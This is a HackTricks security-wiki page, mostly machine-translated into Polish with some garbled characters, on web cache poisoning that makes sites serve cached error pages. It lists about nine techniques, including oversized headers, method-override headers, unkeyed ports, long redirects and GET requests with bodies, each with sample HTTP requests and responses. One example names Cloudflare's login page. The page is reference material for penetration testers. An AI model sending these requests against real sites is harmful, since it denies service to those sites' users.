# Cache Poisoning to DoS
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
{% hint style="danger" %}
Na tej stronie znajdziesz r贸偶ne warianty, aby spr贸bowa膰 sprawi膰, by **serwer WWW odpowiada艂 b艂臋dami** na 偶膮dania, kt贸re s膮 **wa偶ne dla serwer贸w cache**
{% endhint %}
* **HTTP Header Oversize (HHO)**
Wy艣lij 偶膮danie z rozmiarem nag艂贸wka wi臋kszym ni偶 ten obs艂ugiwany przez serwer WWW, ale mniejszym ni偶 ten obs艂ugiwany przez serwer cache. Serwer WWW odpowie kodem 400, kt贸ry mo偶e by膰 zbuforowany:
```
GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000
```
* **HTTP Meta Character (HMC) & Unexpected values**
Wy艣lij nag艂贸wek, kt贸ry zawiera **szkodliwe znaki meta** takie jak i . Aby atak zadzia艂a艂, musisz najpierw obej艣膰 pami臋膰 podr臋czn膮.
```
GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r
```
A badly configured header could be just `\:` as a header.
This could also work if unexpected values are sent, like an unexpected Content-Type:
殴le skonfigurowany nag艂贸wek m贸g艂by by膰 po prostu `\:` jako nag艂贸wek.
To mo偶e r贸wnie偶 dzia艂a膰, je艣li wysy艂ane s膮 nieoczekiwane warto艣ci, takie jak nieoczekiwany Content-Type:
```
GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld
```
* **Unkeyed header**
Niekt贸re strony internetowe zwr贸c膮 kod statusu b艂臋du, je艣li **zobacz膮 niekt贸re konkretne nag艂贸wki** w 偶膮daniu, jak w przypadku nag艂贸wka _X-Amz-Website-Location-Redirect: someThing_:
```
GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing
HTTP/2 403 Forbidden
Cache: hit
Invalid Header
```
* **HTTP Method Override Attack (HMO)**
Je艣li serwer obs艂uguje zmian臋 metody HTTP za pomoc膮 nag艂贸wk贸w takich jak `X-HTTP-Method-Override`, `X-HTTP-Method` lub `X-Method-Override`, mo偶liwe jest za偶膮danie wa偶nej strony, zmieniaj膮c metod臋, aby serwer jej nie obs艂ugiwa艂, co powoduje, 偶e z艂a odpowied藕 jest buforowana:
```
GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST
```
* **Port bez klucza**
Je艣li port w nag艂贸wku Host jest odzwierciedlany w odpowiedzi i nie jest uwzgl臋dniony w kluczu pami臋ci podr臋cznej, mo偶liwe jest przekierowanie go do nieu偶ywanego portu:
```
GET /index.html HTTP/1.1
Host: redacted.com:1
HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss
```
* **Long Redirect DoS**
Jak w poni偶szym przyk艂adzie, x nie jest buforowane, wi臋c atakuj膮cy mo偶e wykorzysta膰 zachowanie odpowiedzi przekierowania, aby sprawi膰, 偶e przekierowanie wy艣le URL tak du偶膮, 偶e zwr贸ci b艂膮d. Wtedy osoby pr贸buj膮ce uzyska膰 dost臋p do URL bez niebuforowanego klucza x otrzymaj膮 odpowied藕 z b艂臋dem:
```
GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit
GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com
HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss
```
* **Normalizacja wielko艣ci liter nag艂贸wka hosta**
Nag艂贸wek hosta powinien by膰 niewra偶liwy na wielko艣膰 liter, ale niekt贸re strony internetowe oczekuj膮, 偶e b臋dzie pisany ma艂ymi literami, zwracaj膮c b艂膮d, je艣li tak nie jest:
```
GET /img.png HTTP/1.1
Host: Cdn.redacted.com
HTTP/1.1 404 Not Found
Cache:miss
Not Found
```
* **Normalizacja 艣cie偶ki**
Niekt贸re strony zwr贸c膮 kody b艂臋d贸w, wysy艂aj膮c dane URLencode w 艣cie偶ce, jednak serwer cache z URLdecode 艣cie偶k臋 i zapisze odpowied藕 dla 艣cie偶ki URLdecoded:
```
GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com
HTTP/1.1 404 Not Found
Cach:miss
Not Found
```
* **Fat Get**
Niekt贸re serwery cache, takie jak Cloudflare, lub serwery webowe, zatrzymuj膮 偶膮dania GET z cia艂em, wi臋c mo偶na to wykorzysta膰 do zbuforowania nieprawid艂owej odpowiedzi:
```
GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3
xyz
HTTP/2 403 Forbidden
Cache: hit
```
## References
* [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
* [https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post\_page-----3a829f221f52--------------------------------)
{% hint style="success" %}
Ucz si臋 i 膰wicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Ucz si臋 i 膰wicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Wsparcie HackTricks
* Sprawd藕 [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
* **Do艂膮cz do** 馃挰 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **艣led藕** nas na **Twitterze** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Dziel si臋 trikami hackingowymi, przesy艂aj膮c PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytori贸w github.
{% endhint %}